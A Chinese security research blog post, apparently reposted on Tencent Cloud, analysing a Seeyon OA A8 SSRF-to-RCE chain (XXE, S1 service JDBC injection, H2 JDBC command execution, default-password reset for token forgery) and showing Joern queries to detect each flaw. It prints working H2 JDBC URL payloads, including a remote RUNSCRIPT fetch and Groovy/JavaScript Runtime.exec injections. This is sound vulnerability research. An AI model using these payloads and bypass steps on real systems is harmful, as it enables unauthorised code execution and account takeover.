Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >Joern In RealWorld (3) - 致远OA A8 SSRF2RCE

Joern In RealWorld (3) - 致远OA A8 SSRF2RCE

作者头像
LoRexxar
发布于 2023-11-22 05:06:16
发布于 2023-11-22 05:06:16
67700
代码可运行
举报
文章被收录于专栏:LoRexxar's BlogLoRexxar's Blog
运行总次数:0
代码可运行

致远OA是国内最有名的OA系统之一,这个OA封闭商业售卖再加上纷繁复杂的版本号加持下,致远OA拥有大量无法准确判断的版本。

这篇文章的漏洞源于下面这篇文章,文章中提到该漏洞影响A8, A8+, A6等多个版本,但很多版本我都找不到对应的源码,光A8就有一万个版本,下面我们尽可能的复现漏洞和探索Joern的可能性

漏洞原理

先花一点儿篇幅简单的描述一下漏洞的基础原理,其实漏洞分为好几个部分

  • 致远oa 前台XXE漏洞
  • 致远oa S1服务 后台jdbc注入
  • H2 jdbc注入导致RCE
  • 致远oa S1服务 后台用户密码重置导致的鉴权绕过

我们分开讨论这部分

致远oa前台xxe漏洞

首先我必须得说,这部分内容涉及到的代码我找了很多个版本的源码都没有找到,尝试搜索了一下原漏洞以及一些简单的分析文章其实大部分都没有提到这部分代码的来源。

我觉得最神奇的点在于,这个漏洞如果仅按照原文提及的部分,漏洞原理及其简单,而且是一个比较标准的xxe漏洞

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
private List<Element> getNodes(String xmlString, String xpath) {
    ArrayList tmpList = null;

    try {
        SAXReader saxReader = new SAXReader();
        Reader xml_sr = new StringReader(xmlString);
        saxReader.setEncoding("UTF-8");
        Document document = saxReader.read(xml_sr);
        if (document.getRootElement() == null) {
            throw new KgException(new KgCommonsError("XmlParser Object hasn't RootElement.", KgCommonsError.SYSTEM_ERROR.getCode()));
        } else {
            List<?> contexts = document.selectNodes(xpath);
            tmpList = new ArrayList();

            for(int i = 0; i < contexts.size(); ++i) {
                if (contexts.get(i) instanceof Element) {
                    tmpList.add((Element)contexts.get(i));
                }
            }

            return tmpList;
        }
    }

可控参数 xmlValue,直接解base64然后就进xxe造成漏洞。

按理说这么简单的漏洞,应该早就被爆出来滥用了,但我搜索了一下相应的内容,上一次致远oa爆出来xxe漏洞原理比这个复杂多了,而且还是组件漏洞。

由于实在找不到源码,所以我猜测这个漏洞可能有两个可能性

  • 漏洞来自于某个部署时使用到的额外服务或者插件
  • 这个xxe漏洞是个第三方组件问题,需要其他条件入口,原文不想提到这个入口所以没有写

不管咋说我的确是没有办法获得答案了,不过这不是这篇文章的重心,先往后看。

致远oa S1服务 后台jdbc注入

在原文中,这部分来自于agent.jar,简单来说就是一个开放到内网的服务,我查了一下应该是指这套S1服务

在官网还可以查到这套系统,看上去应该是用于管理致远后台的平台,算是运维平台。这侧面也证明了这套系统是一套独立的系统。

com.seeyon.agent.sfu.server.apps.configuration.controller.ConfigurationController可以找到对应的testDBConnect方法

可以关注到相比原文当中的截图,现在加入了对h2数据库连接的限制

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
params.put("dbUrl", dbUrl);
if (dbUrl.startsWith("jdbc:h2"))
  return JsonResult.success(StatusCodeEnum.FAILEDCODE.getKey(), ", null);

继续跟进到testDBConnect

从这里可以找到可以根据dburl前缀自由连接远程jdbc的方法,并允许自定义链接驱动类

H2 jdbc注入导致RCE

这部分内容其实不算是这篇文章的重点致远oa的问题,一般来说到jdbc注入之后就是利用方式的问题了,但这里还是顺带提一下。

关于jdbc的注入后利用方式其实之前已经有过不少次相关的文章以及议题,下面这篇就是一篇总结的比较全的文章

其实jdbc可控后续导致的二次利用方案相当复杂,由于这不是这篇文章的内容,所以我们直接跳到对应的位置来看看。

想要利用jdbc注入来调用H2进行进一步利用,其中有两个比较大的问题。

  • 需要相应的配置参数才能命令执行
  • 由于不支持多行语句,需要找到能在单行里执行命令的方法

H2的攻击利用的是Spring Boot H2 console的一个特性,通过控制h2数据库的连接url,我们可以迫使spring boot去加载远程的sql脚本并执行命令,类似下面这样的请求

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'

而这样的请求需要如下的参数

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
spring.h2.console.enable=true
spring.h2.console.setting.web-allow-others=true

我们简单的看下源码

org.h2.engine.Engine#openSession中,发起连接是可以通过INIT关键字来影响初始化数据库连接的配置

当我们使用RUNSCRIPT关键字发起远程连接时,代码将会执行到org.h2.command.dml.RunScriptCommand#execute

这也就意味着我们可以通过RUNSCRIPT来执行恶意的SQL语句,但使用RUNSCRIPT意味着,你的客户端必须出网才有可能利用。

而我们之所以要使用RUNSCRIPT,本质是因为常见的恶意SQL执行命令需要两句session.prepareCommand并不支持执行多行语句

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
CREATE ALIAS RUNCMD AS $$<JAVA METHOD>$$;
CALL RUNCMD(command)

在Spring Boot H2 console的源码中,我们可以继续寻找问题的解决办法,在SQL语句当中的JAVA方法将会执行到org.h2.util.SourceCompiler,一共有三种编译器分别是Java/Javascript/Groovy

如果满足source开头是//groovy或者是@groovy就会使用对应Groovy引擎。

利用@groovy.transform.ASTTEST就可以使用assert来执行命令

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
public static void main (String[] args) throws ClassNotFoundException, SQLException {
    String groovy = "@groovy.transform.ASTTest(value={" + " assert java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")" + "})" + "def x";
    String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '"+ groovy +"'";
    Connection conn = DriverManager.getConnection(url);
    conn.close();
}

除了Groovy以外还有JavaScript的利用方案

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
public static void main (String[] args) throws ClassNotFoundException, SQLException {
    String javascript = "//javascript\njava.lang.Runtime.getRuntime().exec(\"open -a Calculator.app\")";
    String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS '"+ javascript +"'";
    Connection conn = DriverManager.getConnection(url);
    conn.close();
}

致远oa S1服务 后台用户密码重置导致的鉴权绕过

在前面找到对应的利用方案之后,当我们尝试去做利用的时候会发现其实后台有额外的权限验证。直接访问testDBConnenction,会报非法访问的错误。

这是因为没有传入对应的token,在com.seeyon.agent.common.utils.TokenUtils中可以找到对应的检查

这里的tokenMap可以在com.seeyon.agent.common.getway.GetWayController找到对应的写入位置

通过解密获得username、pwd、dogcode、versions经过各种验证之后token会被存入全局变量

这个token会被存入最终的tokenMap当中,而到这里我们问题变成了如何模拟这个过程,在这个过程当中我们需要的信息有点儿多

  • username,可以用默认的用户名seeyon
  • pwd
  • version
  • aes的秘钥和iv

跟踪 AESUtil.Decrypt到定义的位置,可以发现秘钥和iv都是默认的,可以直接使用

com.seeyon.agent.common.controller.ConfigController中可以找到一个方法modifyDefaultUserInfo

这个方法可以在没有任何限制的情况下修改默认用户seeyon的密码

最后剩下的一个信息则是version,这个后台的版本比较复杂,我们可以通过一个接口来获取

com.seeyon.agent.common.controller.VersionController的getVersion方法里可以获取对应的版本号

到这里我们获取了模拟token的所有信息,就可以在后台进行任意操作

For Joern

当问题回到源代码扫描上,我们也可以用类似的漏洞拆解来实现扫描

致远oa前台xxe漏洞

由于这个源码找不到,所以这里用一个类似场景写出来的语句来进行模拟挖掘和扫描

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
def source = cpg.method("getParameter").callIn
def sink = cpg.call.filter(_.methodFullName.contains("java.io.StringReader.<init>"))

sink.reachableByFlows(source).p

我们可以通过连通初始化位置以及可控参数来判断是否存在路径,正常来说如果两个节点存在连通路径,那么就存在调用关系,但数据流的过程间分析需要更合理的判定方式,就比如这个漏洞。

SAXReaderXXE漏洞修复方案并不是在参数的过滤上,而是在于SAXReader解析xml的配置

这就要求除了获得source到sink的连通性以及调用关系以外还要对SAXReader实例化后的属性变化有所关注,在Joern上虽然可以强行做这样的判定,但却没有特别适配的方案,甚至需要通过正则匹配等方式来解决。

致远oa S1服务 后台jdbc注入

照理先引入S1的包,这个东西其实代码不是很大,但是不知道为什么解出来的包非常之大,可能有一些问题。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
joern> importCode("S1.jar", "seeyons1")
val res36: io.shiftleft.codepropertygraph.Cpg = Cpg (Graph [959587 nodes])

先找到设置了注解的testDBConnect方法

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
cpg.method("testDBConnect").where(_.annotation.name(".*Mapping")).l

然后再找到设置jdbc连接的位置,并设置参数为3个string

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
cpg.method("getConnection").callIn.filter(_.methodFullName.contains("java.lang.String,java.lang.String,java.lang.String")).l
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
def sink = cpg.method("getConnection").callIn.filter(_.methodFullName.contains("java.lang.String,java.lang.String,java.lang.String"))
def source = cpg.method("testDBConnect").where(_.annotation.name(".*Mapping")).parameter

sink.reachableByFlows(source).p

存在连通性,表示包含注解的方法参数可以连通到sink点,存在问题。

H2 jdbc注入导致RCE

相比其他几个问题,这个jdbc的利用其实就不算源代码分析层面的部分了。

无论是通过H2的链接来配置参数还是通过特殊语句二次利用,其实本质上都是H2数据库的feature,这里我们就跳过源代码分析的部分继续看后面的部分

致远oa S1服务 后台用户密码重置导致的鉴权绕过

让我们把视角在转回S1上,其实问题很简单,由于后台主要检查token是否有效

所以我们可以尝试去寻找全局变量tokenMap初始化过的地方

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
cpg.call("<operator>.fieldAccess").filter(_.code.equals("com.seeyon.agent.common.utils.TokenUtils.tokenMap")).l

然后寻找对应调用的位置

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
cpg.call("<operator>.fieldAccess").filter(_.code.equals("com.seeyon.agent.common.utils.TokenUtils.tokenMap")).map(n=>n.astIn.head.astIn.head._astIn.head.asInstanceOf[io.shiftleft.codepropertygraph.generated.nodes.Method].fullName).l

可以看到涉及到tokenMap的方法出了isChecktoken以外还有getToken

然后我们继续寻找调用了getToken的地方

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
cpg.call.filter(_.methodFullName.contains("com.seeyon.agent.common.utils.TokenUtils.getToken")).l

然后向上寻找对应的调用函数是什么

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
cpg.call.filter(_.methodFullName.contains("com.seeyon.agent.common.utils.TokenUtils.getToken")).map(n=>n.astIn.head.astIn.head._astIn.head.asInstanceOf[io.shiftleft.codepropertygraph.generated.nodes.Method].fullName).l

在这里我们找到了调用gettoken的位置,也正好对应写入token的位置

而在后续的利用条件收集中,也可以利用joern来快速挖掘和发现。

  • 寻找获取用户名和密码的方法

这个很简单,就像我们平时做代码审计的时候,会通过一些关键字来搜索关键代码一样,在joern中,你可以做类似的事情。我们可以搜索变量名为username的变量被调用的位置

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
cpg.identifier("username")._astIn.dedup.l

当然这显得非常粗暴,数据量非常大,但我们可以做更多的限制,比如调用该变量的方法必须包含put

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
cpg.identifier("username").map(n=>n._callViaAstIn.filter(_.code.contains("put")).dedup.l).l

我们可以直接向上找到对应的函数方法定义位置

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
cpg.identifier("username").map(n=>n._callViaAstIn.filter(_.code.contains("put"))._astIn._astIn.l).dedup.l

我们可以选择几个打开看看

当然我们发现不只是有名字为password的变量,还有名为password的常量

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
cpg.literal("\"password\"").map(n=>n._callViaAstIn.filter(_.code.contains("put"))._astIn._astIn.map(m=>List(m.asInstanceOf[io.shiftleft.codepropert
y raph.generated.nodes.Method].fullName)).l).dedup.l

可以顺着这里找到写入默认账户的位置

前面提到的默认账户修改密码的点也能搜索到,这里甚至可以直接用默认账号和密码

除此之外寻找版本号的位置也可以用joern来完成,直接搜索调用了version变量的地方

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
cpg.identifier("version").map(n=>n._callViaAstIn.filter(_.code.contains("put"))._astIn._astIn.map(m=>List(m.asInstanceOf[io.shiftleft.codepropertygraph.generated.nodes.Method].fullName)).l).dedup.l

直接找到了对应的getVersion方法

通过joern提供的从属关系图可以快速锁定我们要寻找的大致目标,其中的问题也相当实际,你很难在不熟悉代码的情况下利用joern做深入的扫描,这也是joern类工具的症结之一

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2023/11/21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
深入浅出Joern(三)Joern和Neo4j常用语法大全
在研究Joern和Neo4j的过程中,我遇到了一个相当大的问题,就是由于我对OverflowDB包括scala和cypher语言都不熟。Joern和Neo4j分别支持这几种冷门语言,而相应的文档其实没有解决我的问题。
LoRexxar
2023/10/17
1.5K0
深入浅出Joern(三)Joern和Neo4j常用语法大全
使用 Joern 进行漏洞挖掘
曾几何时,在 代码安全审计之道 一文中介绍了一些形而上学的代码审计方法论,在该文章提及未来会继续介绍一些具体的漏洞挖掘工具和技巧,即代码安全审计之术。正所谓白驹过隙,光阴荏苒,不知不觉两年多过去了,由于怠惰一直没有动笔。不过我也一直没有忘记这茬,正好最近放假就给自己补上。
evilpan
2024/09/17
9830
使用 Joern 进行漏洞挖掘
Joern In RealWorld (1) - Acutators + CVE-2022-21724
这个系列会记录我用Joern复现真实漏洞的一些过程,同样也是对Joern的深入探索。
LoRexxar
2023/10/17
7350
Joern In RealWorld (1) - Acutators + CVE-2022-21724
最新X远OA系列漏洞分析
hw已经开始2天啦,期间爆出不少漏洞,这也是一个不错的学习机会,可以学一下大佬的挖洞姿势。远海昨晚熬夜分析了X远的这个组合洞,感觉还是挺不错的,因此就直接发出来供大家学习参考。
用户7151998
2023/07/24
1K0
最新X远OA系列漏洞分析
蓝某OA前台SSRF进一步利用到RCE
先祝大家五一节快乐,远海说五天假期要连着学五天。正好前两天暴出蓝凌OA的一个未授权的SSRF漏洞,借着这个SSRF漏洞远海深入研究了一波完成了一个SSRF到RCE的组合利用。那么我们来看看这个组合链是如何构造的。
用户7151998
2023/07/24
1.3K0
蓝某OA前台SSRF进一步利用到RCE
致远OA文件上传漏洞(含批量检测POC)
致远OA A6、A8、A8N (V8.0SP2,V8.1,V8.1SP1) 致远OA G6、G6N (V8.1、V8.1SP1)
没事就要多学习
2024/07/18
8140
致远OA文件上传漏洞(含批量检测POC)
CVE-2020-36189:Jackson-databind SSRF&RCE
com.newrelic.agent.deps.ch.qos.logback.core.db.DriverManagerConnectionSource类绕过了之前jackson-databind维护的黑名单类,并且JDK版本较低的话,可造成SSRF&RCE。
Al1ex
2021/04/01
1.3K0
CVE-2020-36189:Jackson-databind SSRF&RCE
CVE-2020-36179/80/81/82:Jackson-databind SSRF&RCE
以下类绕过了之前jackson-databind维护的黑名单类,并且JDK版本较低的话,可造成SSRF&RCE:
Al1ex
2022/09/07
4910
CVE-2020-36179/80/81/82:Jackson-databind SSRF&RCE
从羊城杯一道题学习高版本JDK下JNDI的利用
主要关注到/ApiTest/post控制器,接收了传入的数据参数,并且使用JSON.parseObject函数解析数据,从而触发fastjson反序列化,
h0cksr
2023/05/17
1.2K0
Spring 框架相关漏洞合集 | 红队技术
虽说是 Spring 框架漏洞,但以下包含并不仅 Spring Framework,Spring Boot,还有 Spring Cloud,Spring Data,Spring Security 等。
信安之路
2021/12/27
6.8K0
Spring 框架相关漏洞合集 | 红队技术
OA工作流-Activiti(一)[通俗易懂]
OA工作流:建立于网络办公自动化基础上的事务行政审批,业务申请审批、公文、信息等的网上流转。它主要解决的是“使在多个参与者之间按照某种预定义的规则传递文档、信息或任务的过程自动进行,从而实现某个预期的业务目标,或者促使此目标的实现”。
全栈程序员站长
2022/09/10
2.4K0
OA工作流-Activiti(一)[通俗易懂]
CVE-2023-51467:Apache OFBiz未授权RCE漏洞分析
Apache OFBiz 是一个用于企业流程自动化的开源产品。它包括 ERP、CRM、电子商务/电子商务、供应链管理和制造资源规划的框架组件和业务应用程序。OFBiz 为可靠、安全和可扩展的企业解决方案提供了基础和起点。
Timeline Sec
2024/01/23
1.4K0
CVE-2023-51467:Apache OFBiz未授权RCE漏洞分析
【软件开发规范四】《应用系统安全编码规范》
为落实《信息安全策略》的要求,有效加强应用系统安全管理,提升应用系统安全编码能力,指导开发团队有效进行应用系统安全编码,特制定本规范。
再见孙悟空_
2023/09/19
1.5K0
2020护网期间公布漏洞总结-附部分漏洞Poc,Exp
4.Apache DolphinScheduler远程代码执行漏洞(CVE-2020-11974),危害级别:危急,官方已发布补丁
Gamma实验室
2020/12/23
6.6K0
2020护网期间公布漏洞总结-附部分漏洞Poc,Exp
Fastjson姿势技巧集合
https://github.com/safe6Sec/ShiroAndFastJson
阿超
2022/11/10
3.2K0
Confluence认证后RCE(CVE-2024-21683)
本文属于OneTS安全团队成员yq1ng的原创文章,转载请声明出处!本文章仅用于学习交流使用,因利用此文信息而造成的任何直接或间接的后果及损失,均由使用者本人负责,OneTS安全团队及文章作者不为此承担任何责任。
OneTS安全团队
2025/02/07
1700
Confluence认证后RCE(CVE-2024-21683)
Spring {Boot,Data,Security} 历史漏洞研究
书接上回,这次对 Spring Boot、Spring Data 以及 Spring Security 中的一些核心概念进行介绍并分析一些典型的历史漏洞。
evilpan
2023/05/03
2.8K0
Spring {Boot,Data,Security} 历史漏洞研究
XXE -XML External Entity
大多数的这部分是从Portswigger页采取:https://portswigger.net/web-security/xxe/xml-entities
黑伞安全
2020/08/13
1.8K0
XXE -XML External Entity
内网渗透 | 最全的内网凭据密码收集方法和技巧总结
在攻防场景下,红队人员拿下一台终端或服务器后,第一步要做的往往就是信息收集,为最大化利用权限,扩大战果,密码抓取必不可少,这里针对常见应用软件和系统等密码抓取做了记录和总结,希望能帮助你作为参考。
HACK学习
2023/01/03
7.8K0
内网渗透 | 最全的内网凭据密码收集方法和技巧总结
代码审计-dubbo admin <=2.6.1远程命令执行漏洞
通过结构化的思维进行以软件程序为中心的威胁建模、枚举威胁、缓解威胁、验证来解决四个问题:具体业务是什么?哪些地方可能出现风险?如何规避解决?是否覆盖完整。 通过前排了解(包括在fofa、zoomeyes、shodan的范围分析、wooyun历史漏洞材料输入),考量以下方面: - 数据流或代码布局; - 访问控制; - 现有的或内置的安全控制; - 非用户输入的入口点; - 与外部服务的集成; - 配置文件和数据源的位置; - 插件和定制化展现(在内置设计框架的情况下)。
安全乐观主义
2019/11/19
3.8K0
相关推荐
深入浅出Joern(三)Joern和Neo4j常用语法大全
更多 >
LV.1
这个人很懒,什么都没有留下~
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验